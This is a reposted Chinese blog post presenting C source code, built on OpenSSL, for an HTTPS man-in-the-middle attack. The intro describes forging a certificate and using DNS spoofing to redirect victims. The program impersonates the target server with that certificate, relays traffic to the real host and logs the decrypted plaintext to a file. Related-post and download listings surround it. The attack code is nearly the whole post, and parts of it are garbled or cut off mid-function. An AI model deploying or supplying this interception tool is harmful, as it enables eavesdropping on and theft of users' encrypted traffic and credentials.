- 浏览: 12001 次
最新评论
[OpenSSL示例]HTTPS中间人攻击
2011年12月23日
HTTPS中间人攻击
一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。
代码:
#include
#include
#include
#include
#pragma comment ( lib, "libeay32.lib" )
#pragma comment ( lib, "ssleay32.lib" )
#pragma comment ( lib, "ws2_32.lib" )
#define PRIVATE_KEY_PWD "1234"
#define CERT_FILE "yunshu.crt"
#define KEY_FILE "yunshu.key"
#define MAX_USER 10
#define LISTEN_PORT 443
#define TIME_OUT 1000000 // 1秒
#define DEBUG
#ifdef DEBUG
#define LOG_FILE "c:\https.txt"
// 记录数据到文件
void Log_File( char *str );
#endif
// 目的主机
char target_host[20] = { 0 };
unsigned int target_port = 0;
// 输出SSL错误函数
void SSL_Error( char *custom_string );
// 初始化SSL库作为服务端
SSL *Server_SSL_Init( );
// 初始化SSL库作为客户端
SSL *Client_SSL_Init( );
// 初始化Socket作为服务端
SOCKET Server_Socket_Init( );
// 初始化Socket作为客户端
SOCKET Client_Socket_Init( );
// 处理客户端函数
void WINAPI FowardPacket( LPVOID argument );
// 程序入口,主函数
int main( int argc, char *argv[] )
{
if( argc != 3 )
{
printf( "Usage: %s \n", argv[0] );
printf( "Code by 云舒,just for test!\n" );
return -1;
}
SOCKET server_sock = Server_Socket_Init( );
if( INVALID_SOCKET == server_sock )
{
return -1;
}
// 加载加密算法库
SSL_library_init( );
// 加载错误信息库
SSL_load_error_strings( );
// 开始接受连接
SOCKET client_sock; // 来自被攻击者的socket
SOCKADDR_IN client_sin;
int sin_len = sizeof(SOCKADDR_IN);
target_port = atoi( argv[2] );
struct hostent *phost = gethostbyname( argv[1] );
if( phost == NULL )
{
printf( "Resolve %s error!\n" , argv[1] );
return -1;
}
memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
strcpy( target_host, inet_ntoa( client_sin.sin_addr ) );
printf( "Target host is %s(%s), port is %d\n", target_host, argv[1], target_port );
memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
while( TRUE )
{
client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );
printf( "connect from %s\n", inet_ntoa( client_sin.sin_addr ) );
if( SOCKET_ERROR == client_sock )
{
printf( "accept error.\n" );
continue;
}
HANDLE h_thread;
DWORD thread_id = 0;
h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id );
if( NULL == h_thread )
{
printf( "create thread error.\n" );
}
CloseHandle( h_thread );
}
closesocket( server_sock );
WSACleanup( );
return 0;
}
void WINAPI FowardPacket( LPVOID argument )
{
char buffer[2048] = { 0 };
// 生成SSL,作为服务端,响应被攻击者的请求
SSL *server_ssl = Server_SSL_Init( );
if( NULL == server_ssl )
{
return;
}
printf( "Init ssl as server success!\n" );
// 生成SSL,作为客户端,向真实主机发起请求
SSL *client_ssl = Client_SSL_Init( );
if( NULL == client_ssl )
{
return;
}
printf( "Init ssl as client success!\n" );
// 作为服务端端的socket,响应被攻击者的请求
SOCKET server_sock = (SOCKET)(*(SOCKET *)argument);
// 绑定ssl和socket,此处作为被攻击者的服务器
SSL_set_fd( server_ssl, server_sock );
int ret = SSL_accept( server_ssl );
if( -1 == ret )
{
SSL_Error( "SSL_accept error" );
return;
}
// 作为客户端的socket,向真实主机发起请求
SOCKET client_sock = Client_Socket_Init( );
if( INVALID_SOCKET == client_sock )
{
return;
}
SSL_set_fd( client_ssl, client_sock );
ret = SSL_connect( client_ssl );
if( -1 == ret )
{
SSL_Error( "SSL_connect error" );
return;
}
fd_set fd_read;
timeval time_out;
while( TRUE )
{
time_out.tv_sec = 0;
time_out.tv_usec = TIME_OUT;
FD_ZERO( &fd_read );
FD_SET( server_sock, &fd_read );
FD_SET( client_sock, &fd_read );
ret = select( 0, &fd_read, NULL, NULL, &time_out );
if( SOCKET_ERROR == ret )
{
printf( "socket error: %d\n", GetLastError() );
break;
}
else if( 0 == ret )
{
continue;
}
else
{
if( FD_ISSET( server_sock, &fd_read ) )
{
memset( (void *)buffer, 0, sizeof(buffer) );
ret = SSL_read( server_ssl, buffer, sizeof(buffer) );
if( ret > 0 )
{
ret = SSL_write( client_ssl, buffer, strlen(buffer) );
if( strlen(buffer) != ret )
{
SSL_Error( "Send data to real server error" );
}
else
{
printf( "send %d bytes to real server\n", ret );
#ifdef DEBUG
Log_File( buffer );
#endif
}
}
}
else if( FD_ISSET( client_sock, &fd_read ) )
{
memset( (void *)buffer, 0, sizeof(buffer) );
ret = SSL_read( client_ssl, buffer, sizeof(buffer) );
if( ret > 0 )
{
//printf( "RESPONSE:\n\t%s\n", buffer );
ret = SSL_write( server_ssl, buffer, strlen(buffer) );
if( strlen(buffer) != ret )
{
SSL_Error( "Send data to customer error" );
}
else
{
printf( "send %d bytes to customer's host\n", ret );
#ifdef DEBUG
Log_File( buffer );
#endif
}
}
}
}
}
SSL_shutdown( server_ssl );
SSL_shutdown( client_ssl );
SSL_free( server_ssl );
SSL_free( client_ssl );
closesocket( server_sock );
closesocket( client_sock );
return;
}
void SSL_Error( char *custom_string )
{
char error_buffer[256] = { 0 };
printf( "%s, ", custom_string );
ERR_error_string( ERR_get_error(), error_buffer );
printf( "%s\n", error_buffer );
}
SSL *Server_SSL_Init( )
{
// 加载SSL环境
SSL_CTX *server_ctx = SSL_CTX_new( SSLv23_server_method() );
if( NULL == server_ctx )
{
SSL_Error( "Init ssl ctx error" );
return NULL;
}
// 设置证书文件的口令
SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );
// 加载证书
if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) error" );
return NULL;
}
// 加载私钥
if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) error" );
return NULL;
}
// 检查私钥和证书是否匹配
if( !SSL_CTX_check_private_key( server_ctx ) )
{
printf( "Private key does not match the certificate public key\n" );
return NULL;
}
SSL *ssl = SSL_new (server_ctx);
if( NULL == ssl )
{
SSL_Error( "Create ssl error" );
return NULL;
}
return ssl;
}
SSL *Client_SSL_Init( )
{
SSL_CTX *client_ctx;
client_ctx = SSL_CTX_new( SSLv23_client_method() );
if( NULL == client_ctx )
{
SSL_Error( "Init ssl ctx error" );
return NULL;
}
SSL *ssl = SSL_new (client_ctx);
if( NULL == ssl )
{
SSL_Error( "Create ssl error" );
return NULL;
}
return ssl;
}
SOCKET Server_Socket_Init( )
{
WSADATA wsa;
WSAStartup( 0x0202, &wsa );
SOCKET sock = socket( AF_INET, SOCK_STREAM, 0 );
if( INVALID_SOCKET == sock )
{
printf( "Create socket as a server error" );
return INVALID_SOCKET;
}
SOCKADDR_IN server_sin;
memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );
server_sin.sin_family = AF_INET;
server_sin.sin_addr.S_un.S_addr = INADDR_ANY;
server_sin.sin_port = htons( 443 );
int ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) );
if( SOCKET_ERROR == ret )
{
printf( "bind error: %d\n", GetLastError() );
return INVALID_SOCKET;
}
ret = listen( sock, MAX_USER );
if( SOCKET_ERROR == ret )
{
printf( "listen error.\n" );
return INVALID_SOCKET;
}
printf( "Listening on all local ip address, waiting for connect...\n" );
return sock;
}
SOCKET Client_Socket_Init( )
{
SOCKET client_sock = socket( AF_INET, SOCK_STREAM, 0 );
if( INVALID_SOCKET == client_sock )
{
printf( "create socket as a client error.\n" );
return -1;
}
SOCKADDR_IN client_sin;
memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
client_sin.sin_family = AF_INET;
client_sin.sin_addr.S_un.S_addr = inet_addr( target_host );
client_sin.sin_port = htons( target_port );
int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) );
if( SOCKET_ERROR == ret )
{
printf( "connect to real server %s error", target_host );
return INVALID_SOCKET;
}
printf( "connect to real server success!\n" );
return client_sock;
}
#ifdef DEBUG
void Log_File( char * str )
{
FILE *fp = fopen( LOG_FILE, "w+" );
if( NULL == fp )
{
转载自: http://blog.chinaunix.net/space.php?uid=11669504&d o=blog&id=2856741
发表评论
-
高考最常见易错语法题3(再次复习巩固类似题目)
2012-01-20 11:07 1146高考最常见易错语法题3(再次复习巩固类似题目) 15小时前 ... -
杭十四中2011-2012学年第一学期期末高一语文试卷
2012-01-20 11:07 597杭十四中2011-2012学年第一学期期末高一语文试卷 2小 ... -
Hibernate HQL与原生SQL
2012-01-20 11:07 781Hibernate HQL与原生SQL 2012年01月19 ... -
樱花带来的奇迹 D.C.P.C.(完全剧透)(三)
2012-01-20 11:07 1120樱花带来的奇迹 D.C.P.C.(完全剧透)(三) 20 ... -
php_study日记:异常处理
2012-01-19 16:00 596php_study日记:异常处理 2011年12月21日 ... -
Understanding the 3G-324M Spec
2012-01-19 16:00 412Understanding the 3G-324M Spec ... -
关于HA的问题
2012-01-19 16:00 1000关于HA的问题 2011年12月20日 关于HA的问题今 ... -
2011-12-16
2012-01-19 16:00 6962011-12-16 2011年12月16日 part ... -
三年级如何写作文
2012-01-17 05:52 601三年级如何写作文 2011年10月27日 三年级如何写 ... -
大全【极有收藏价值的】
2012-01-17 05:52 509大全【极有收藏价值的 ... -
提高小学作文实效性的思考
2012-01-17 05:52 543提高小学作文实效性的思考 2010年11月17日 摘要: ... -
小学生评语大全
2012-01-17 05:52 667小学生评语大全 2011年07月14日 你是一位可爱的小 ... -
小学生期末评语经典大全
2012-01-17 05:52 569小学生期末评语经典大全 2011年12月15日 1.你是 ... -
【转】浅谈温岭民间的孝文化
2012-01-16 04:38 753【转】浅谈温岭民间的孝文化 7小时前 作者:项琳冰 ... -
《论语》解读之3-26《无礼之状乱不忍观》
2012-01-16 04:38 566《论语》解读之3-26《无礼之状乱不忍观》 2012年01月 ... -
龙游子教练分享儒佛修身之道(六)
2012-01-16 04:38 805龙游子教练分享儒佛修 ...
相关推荐
本代码使用MFC方式实现了如下功能: ...2> 集成OpenSSL POST访问HTTPS站点。可成功登陆小米官网。 文件包内含有完整的,编译好的OpenSSL开发需要的头文件以及库文件等,可以方便的使用在您的项目中。
windows下Curl+Openssl访问https实例,内含编译好的WIN32类库和实例
#### Tomcat和Openssl构建HTTPS双向认证 ###### 选择HTTPS WEB服务器 Linux下安装OpenSSL 一、创建服务器证书、客户端证书以及CA 1、生成--服务器端--私钥和证书请求 2、生成--客户端-----私钥和证书请求 3、生成...
从OpenSSL的0.9.7版,Engine机制集成到了OpenSSL的内核中,成为了OpenSSL不可缺少的一部分。 Engine机制目的是为了使OpenSSL能够透明地使用第三方提供的软件加密库或者硬件加密设备进行加密。OpenSSL的Engine机制...
第一次跑起openssl示例并不太简单,本文的目的是为了让这个过程变得非常简单。在开始之前,要非常感谢周立发同学,正是通过他共享的示例,较轻松的入了门。 本文档对他共享的示例中的一个小错误进行了修正,并提供了...
中间人Stunnel:它是针对本身无法进行TLS或SSL通信的客户端及服务器而设计的一种小型开源软件,Stunnel可提供安全的加密连接。它的作用是接受Apache代理解密后的数据并将这些数据再次加密,冒充原客户端去与目标...
实现一个ssl的客户端和服务端,作为中间人攻击,截取ssl通讯中的密文数据,并进行解密,使用时用把所有的报文都转向给程序所在的机器。
window上使用openssl和libcurl发送https的post请求 并使用MD5和base64加密的工程,包含自己编译的openssl和libcurl静态库文件,可直接使用,详情可以看一下readme文件
通过调用openssl 的rsa 算法,封装成Qt版本接口的实现。通过本示例了解rsa 算法,了解密钥如何从字符串和16进制之间的转化。
OpenSSL中RSA加解密示例代码。需要用到openssl三方库。
通过OpenSSL生成的ssl证书,用于windows下用nginx配置https服务器( OpenSSL创建证书) 无需再下载OpenSSL,配置OpenSSL相关环境,在进行命令生成证书
基于官网的boost.asio的HTTPS/SSL例子,包括server和client端,完整的Linux编译环境,包含了完整的boost库和openssl库,编译配置测试说明文档,测试用的server.crt和server.key证书文件。如需windows版本,和自己...
本代码使用MFC方式实现了如下功能: 1> 原生socket ... 2> 集成OpenSSL POST访问HTTPS站点。可成功登陆小米官网。 文件包内含有完整的,编译好的OpenSSL开发需要的头文件以及库文件等,可以方便的使用在您的项目中。